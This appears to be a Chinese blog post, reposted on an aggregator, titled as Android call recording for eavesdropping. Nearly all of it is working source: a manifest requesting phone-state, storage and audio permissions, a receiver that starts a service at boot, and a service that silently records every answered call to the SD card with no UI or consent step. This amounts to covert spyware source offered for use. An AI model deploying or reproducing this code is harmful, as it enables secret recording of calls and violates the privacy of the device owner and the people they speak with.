zoukankan      html  css  js  c++  java
  • android 实现电话录音(窃听)

    配置文件

    <?xml version="1.0" encoding="utf-8"?>
    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="codefans.app"
        android:versionCode="1"
        android:versionName="1.0" >
    
        <uses-sdk android:minSdkVersion="8" />
        
        <!-- 监听电话状态权限 -->
        <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
        
        <!-- 在SDCard中创建与删除文件权限 -->
        <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
        
        <!-- 在SDCard写入数据权限 -->
        <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
      
        <!-- 刻入声音权限 -->
        <uses-permission android:name="android.permission.RECORD_AUDIO"/>
        <application
            android:icon="@drawable/ic_launcher"
            android:label="@string/app_name" >
            <service android:name=".PhoneService"></service>
            <receiver android:name=".PhoneBroadcastReceiver">
                <intent-filter >
                   <action android:name="android.intent.action.BOOT_COMPLETED"/> <!-- 开机启动广播  -->
                </intent-filter>
            </receiver>
        </application>
      
    </manifest>
    public class PhoneService extends Service
    {
    
        @Override
        public IBinder onBind(Intent intent)
        {
            // TODO Auto-generated method stub
            return null;
        }
    
        @Override
        public void onCreate()
        {
            super.onCreate();
            
            TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
            
            telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);  //注册监听器 监听电话状态
        }
        
        
        private final class PhoneListener extends PhoneStateListener
        {
            private String incomeNumber;   //来电号码
            private MediaRecorder mediaRecorder;
            private File file;
            @Override
            public void onCallStateChanged(int state, String incomingNumber)
            {
                try
                {
                    switch(state)
                    {
                    case TelephonyManager.CALL_STATE_RINGING:   //来电
                        this.incomeNumber = incomingNumber;
                        break;
                    case TelephonyManager.CALL_STATE_OFFHOOK:   //接通电话
                        file = new File(Environment.getExternalStorageDirectory(), this.incomeNumber + System.currentTimeMillis() + ".3gp");
                        mediaRecorder = new MediaRecorder();
                        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);   //获得声音数据源
                        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);   // 按3gp格式输出
                        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);   
                        mediaRecorder.setOutputFile(file.getAbsolutePath());   //输出文件
                        mediaRecorder.prepare();    //准备
                        mediaRecorder.start();
                        break;
                    
                    case TelephonyManager.CALL_STATE_IDLE:  //挂掉电话
                        if(mediaRecorder != null)
                        {
                            mediaRecorder.stop();
                            mediaRecorder.release();
                            mediaRecorder = null;
                        }
                        
                        break;
                    
                    }
                }
                catch (IllegalStateException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
                catch (IOException e)
                {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
            
            
        }
        
    
    }
    public class PhoneBroadcastReceiver extends BroadcastReceiver
    {
    
        @Override
        public void onReceive(Context context, Intent intent)
        {
            Intent service = new Intent(context, PhoneService.class);
            context.startService(service);   //启动服务
        }
    
    }
  • 相关阅读:
    判断应用程序是否是当前激活程序(获得焦点的程序)
    MFC的CListCtrl的使用与技巧
    VC/MFC中为程序定义全局快捷键
    [原]MFC中DIALOG(对话框)程序响应加速键(快捷键)
    问题:CListCtrl如何高亮选中一行 http://zhidao.baidu.com/question/100664911.html 扩展:单行、双行及完成状态的字体等等。。。
    C++读取INI文件
    键盘钩子监测按键后,获取键码及按键名称(MFC)
    一个分布式服务器集群架构方案
    Discuz!NT
    easyui validatebox 验证类型
  • 原文地址:https://www.cnblogs.com/a354823200/p/4054770.html
Copyright © 2011-2022 走看看